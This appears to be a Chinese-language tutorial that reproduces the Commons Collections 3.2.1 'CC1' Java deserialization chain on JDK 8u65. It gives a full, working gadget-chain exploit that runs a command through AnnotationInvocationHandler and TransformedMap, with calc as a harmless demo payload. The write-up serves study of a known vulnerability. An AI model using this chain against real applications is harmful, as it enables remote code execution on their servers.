环境搭建
JDK8u71以下,这个漏洞已经被修复了,这个JDK的以上版本都修复了漏洞
JDK8u65
下载地址
https://www.oracle.com/cn/java/technologies/javase/javase8-archive-downloads.html
这个时候来到 pom.xml 配置Maven依赖下载CommonsCollections3.2.1版本
添加以下代码:
<dependencies>
<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>
这个时候点击这个,刷新代码
配置Maven仓库
官网地址:
https://maven.apache.org/
直接下载即可
解压压缩包之后来到这个文件下
然后随便在网上搜索 阿里云镜像源
然后复制这一段代码
<mirror>
<id>aliyunmaven</id>
<mirrorOf>*</mirrorOf>
<name>阿里云公共仓库</name>
<url>https://maven.aliyun.com/repository/public</url>
</mirror>
然后设置Maven仓库的位置路径
来到这里
然后设置settings.xml的文件位置
这个时候我们可以看见左边多出了Maven的依赖环境,我们可以开始学习CC1链了
openJDK 8u65
下载地址
https://hg.openjdk.org/jdk8u/jdk8u/jdk/archive/af660750b2f4.zip
下载好之后,来到这个目录下复制sun文件
然后来到JDK8u5的文件夹中解压src.zip压缩包,将sun复制到src文件夹里面
然后再IDEA Ctrl+Shift+Alt+S打开项目结构,添加刚刚的src文件路径
这样子做的好处就是可以编译部分的class文件为java文件,可以进行断点调试
基础知识
Common-Collections包的结构
- org.apache.commons.collections – CommonsCollections自定义的一组公用的接口和工具类
- org.apache.commons.collections.bag – 实现Bag接口的一组类
- org.apache.commons.collections.bidimap – 实现BidiMap系列接口的一组类
- org.apache.commons.collections.buffer – 实现Buffer接口的一组类
- org.apache.commons.collections.collection –实现java.util.Collection接口的一组类
- org.apache.commons.collections.comparators– 实现java.util.Comparator接口的一组类
- org.apache.commons.collections.functors –Commons Collections自定义的一组功能类
- org.apache.commons.collections.iterators – 实现java.util.Iterator接口的一组类
- org.apache.commons.collections.keyvalue – 实现集合和键/值映射相关的一组类
- org.apache.commons.collections.list – 实现java.util.List接口的一组类
- org.apache.commons.collections.map – 实现Map系列接口的一组类
- org.apache.commons.collections.set – 实现Set系列接口的一组类
来源:
https://blinkfox.github.io/2018/09/13/hou-duan/java/commons/commons-collections-bao-he-jian-jie/#toc-heading-6
Java反射命令执行
package org.example;
import java.lang.reflect.Method;
public class Main {
public static void main(String[] args) throws Exception{
//Runtime.getRuntime().exec("calc"); 直接调用,不需要反射的方法
Runtime r = Runtime.getRuntime();
//获取Runtime的class
Class<Runtime> c = Runtime.class;
//获取它的exec方法
Method execMethod = c.getMethod("exec", String.class);
//反射调用这个方法
execMethod.invoke(r,"calc");
}
}
运行之后可以看见弹出 计算器
由于我们Runtime类没有调用序列化 Serializable类的接口,所以它是不可以进行序列化的。如果我们要进行序列化,可以利用Class类,因为Class是调用了Serializable的接口,可以进行反序列化。
我们来到Runtime类,可以发现它的一个方法,是可以直接获取
实现代码:
public class Main {
public static void main(String[] args) throws Exception{
//获取Runtime类的class
Class<Runtime> RuntimeClass = Runtime.class;
//然后获取
Method getRuntimeMethod = RuntimeClass.getMethod("getRuntime");
Object r = getRuntimeMethod.invoke(null, null);
Method execMethod = RuntimeClass.getMethod("exec", String.class);
execMethod.invoke(r,"calc");
}
}
最后可以看见,成功弹出计算器。
CC1链分析
入口点-执行任意命令
CC1链的作者发现了 org.apache.commons.collections 中有个 Transformer 接口类,然后它是一组自定义的功能类,我们可以直接找到,然后看一下。
作用:简单来说就是调用了这个 Transformer 接口会使用这个transform方法
按Ctrl + Alt +B查看这个接口的实现类,点开这个实现类
进到 InvokerTransformer 这个实现类,Alt + 7可以看见该类的方法拓扑图。
再下面的可以发现这个类的 transform方法中存在反射调用
我们来尝试利用这个InvokerTransformer类的transform方法来进行一次命令执行
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
/**
* Transforms the input to result by invoking a method on the input.
*
* @param input the input object to transform
* @return the transformed result, null if null input
*/
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
}
可以看见计算器成功弹出,证明了这个类的方法是可以进行命令执行的
import org.apache.commons.collections.functors.InvokerTransformer;
public class CC1 {
public static void main(String[] args) {
Runtime r = Runtime.getRuntime();
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
}
}
总结
通过调用这个类的方法,执行命令,我们知道了 InvokerTransformer.transform 是入口点。我们还需要向上其他类寻找可以调用 这个入口点的类的方法。
寻找调用入口点的类
我们需要不同的类名调用这个入口点类的方法,右键如图点击,寻找这个方法有哪些类调用
在这里找到了一个比较好调用 checkSetValue 方法,它来自于 TransformedMap类
因为这段代码,返回的是 valueTransformer 调用的transform方法
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}
我们看一下valueTransformer,然后在这里找到了它的构造方法
由于这个方法是受保护成员,我们继续往上翻代码,可以发现 decorate 这里是静态方法,然后返回的是刚刚的受保护成员,我们可以在这里进行下手
exp代码编写1:
根据前面的分析,我们可以写出以下代码
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
public class CC1 {
public static void main(String[] args) {
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object, Object> map = new HashMap<>();
TransformedMap.decorate(map,null,invokerTransformer);
}
}
- 写 null是因为 我们没有需要的 keyTransformer要传参
- 通过HashMap,放入一个map
- invokerTransformer是相当于valueTransformer
命令执行 = valueTransformer.transform(value);
我们已经有了valueTransformer,现在需要去构造checkSetValue这个方法的参数
右键查找 调用checkSetValue的类的方法
然后我们在 AbstractInputCheckedMapDecorator 类中找到了调用了 checkSetValue 方法的方法 setValue
TransformedMap 类是 AbstractInputCheckedMapDecorator类的子类,所以子类可以调用父类的方法
然后在代码中的setValue,如果继续查找调用的函数会很麻烦,因为有很多方法要去看
static class MapEntry extends AbstractMapEntryDecorator {
/** The parent map */
private final AbstractInputCheckedMapDecorator parent;
protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;
}
public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}
}
}
实际上setValue在这个代码的意思相当于一个map的一个键值顿,for循环遍历
所以我们要控制 AbstractInputCheckedMapDecorator类的setValue的内容,也可以以此类推进行操作
public class CC1 {
public static void main(String[] args) {
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object, Object> map = new HashMap<>();
map.put("key", "value");
Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);
for (Map.Entry entry : transformedMap.entrySet()) {
entry.setValue(r); //setValue -> checkSetValue(Object value) -> transform(Object input)
}
}
}
可以看见成功执行计算器弹窗命令
总结
证明了这个类是可以调用一开始的入口点的类,最后一样可以命令执行,链子已经拿到了一半了。Java反序列化必须还有有一个readObject的入口类才能利用这些链,所以还需要再往上找调用这个 setValue 的readObject类
寻找调用构造链的readObject方法的入口类
EXP构造
查找调用了setValue方法的类
最终在这里找到了调用了setValue方法的readObject类
进去之后发现是来源于 AnnotationInvocationHandler 类的
所以我们可以先构造一个EXP
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class CC1Test {
public static void main(String[] args) throws Exception {
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object, Object> map = new HashMap<>();
map.put("key", "value");
Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> aihConstructor = c.getDeclaredConstructor(Class.class, Map.class);
aihConstructor.setAccessible(true);
Object o = aihConstructor.newInstance(Override.class, transformedMap);
serialize(o);
unserialize("ser.bin");
}
//序列化与反序列化
public static void serialize(Object obj) throws IOException{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
- 其中 AnnotationInvocationHandler,我们这里构造了一个和它类型相同的类。
- 至于 Override.class是怎么来的,是因为 AnnotationInvocationHandler继承 Annotation接口
- 实际上 Annotation接口是注解的意思,所以我们可以用 Override.class (注解)放进 newInstance()实例化的第一个参数里面
完善EXP
实际上我们实现序列化和反序列化是需要继承 序列化的接口。但是 Runtime类并没有继承
所以我们的第一步就是能够让我们的exp,没有序列化的类通过反射然后就可以进行序序列化,前面有讲。
反射
通过前面的执行命令反射为例子,我们的这个 InvokerTransformer方法也同理
import org.apache.commons.collections.functors.InvokerTransformer;
import java.lang.reflect.Method;
public class CC1 {
public static void main(String[] args) throws Exception {
// Class<Runtime> r = Runtime.class;
// Method getRuntimeMethod = r.getMethod("getRuntime", null);
// Runtime getruntime = (Runtime) getRuntimeMethod.invoke(null, null);
// Method execMethod = r.getMethod("exec", String.class);
// execMethod.invoke(getruntime,"calc");
//通过反射能够进行序列化,也能执行命令
Method getruntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getruntimeMethod);
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
}
}
- 其中new Class[]{}里面的属性,可以参考原生的getMethod的属性,照搬进去就好了。
- 这个 Class<?>… 后面有三个点意思是Class的数组,也就是 -> Class[]
运行之后可以看见弹窗计算器成功,证明了这个我们调试的反射代码是成功的
实际上我们还可以进行利用一个叫 ChainedTransformer的方法,进行简写刚刚的反射代码
- ChainedTransformer 遍历 transform[] 数组的内容,放入到 Transformers 变量
- transform方法可以对每个 iTransformers变量进行一次调用transform它的参数
所以我们可以这些写
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
public class CC1 {
public static void main(String[] args) throws Exception {
//通过反射能够进行序列化,也能执行命令
// Method getruntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
// Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getruntimeMethod);
// new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
//ChainedTransformer类中有ChainedTransformer方法可以进行便捷,不会和前面一样进行重复
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);
}
}
- transform方法只需要调用一次,引入 Runtime.class的类
运行后可以看见,命令执行成功,证明了我们的代码没有错误
绕过if
这个时候我们把前面调试好的反射代码组合前面写好的放在一起
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class CC1Test {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// chainedTransformer.transform(Runtime.class);
HashMap<Object, Object> map = new HashMap<>();
map.put("key", "value");
Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> aihConstructor = c.getDeclaredConstructor(Class.class, Map.class);
aihConstructor.setAccessible(true);
Object o = aihConstructor.newInstance(Override.class, transformedMap);
serialize(o);
unserialize("ser.bin");
}
//序列化与反序列化
public static void serialize(Object obj) throws IOException{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
现在运行exp代码肯定是不能生效的,主要有两点:
- 变量成员不能为空
- 通过绕过两个if,才能来到 setValue方法
我们可以先断点调试一下代码进行理解,从反序列化的入口点开始下断点调试
按F8下一步调试,可以发现我们的成员变量是 Override注解,然后它的成员变量是 null的
进入 Override类一看,空空如也,它没有成员变量的方法
Ctrl + 鼠标键 点击 Target
来到了这里,Target也是注解的一个类,然后它的成员变量是value,所以我们可以用 Target.class 代替 Override.class
将exp代码 进行修改,然后重新断点调试一下
调试到这发现还是 null,这是因为 Target注解类它没有key这个键值,我们需要用value方法,才能让它识别
这个时候我们修改exp的代码 "key"为 “value”
然后继续重新断点调试,可以发现我们走到了 setValue的关键方法了,再也不是null了,成功的绕过了if的判断
这个时候点击F7跟进这一行,然后点击setValue方法
然后继续跟进F7,直到我们来到了这里,也就是我们之前执行命令的一个点,发现setValue我们无法控制
在ConstantTransformer类中发现了 ConstantTransformer方法可以返回常量值,这个类里面也有transform方法,配合使用的话,也就说传入什么值 都可以调用 transform(value),从而调用 Runtime.class进行反射
添加这行代码,就可以相当于做到了 setValue的事情
其实也就相当于一开始的Java反射命令的结构体一样
这一行也就只是执行transformers数组内容罢了
- ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
最终exp
CC1链的最终exp代码如下:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class CC1Test {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// chainedTransformer.transform(Runtime.class);
HashMap<Object, Object> map = new HashMap<>();
map.put("value", "value");
Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> aihConstructor = c.getDeclaredConstructor(Class.class, Map.class);
aihConstructor.setAccessible(true);
Object o = aihConstructor.newInstance(Target.class, transformedMap);
serialize(o);
unserialize("ser.bin");
}
//序列化与反序列化
public static void serialize(Object obj) throws IOException{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
通过发序列化之后,可以看见命令执行成功
总结
这是一个国内版本的 TransformedMap 类的CC1链,国外没有用到这个TransformedMap类。
整个CC1链复现的流程:
复现路线:
任意类的readObject方法 <- 调用入口点类的方法 <-任意执行命令的入口点
攻击链:
readObject --> setValue ---> checkSetValue ---> transform
一些辅助类:
HashMap --> ChainedTransformer.transform ---> Target -->ConstantTransformer.transform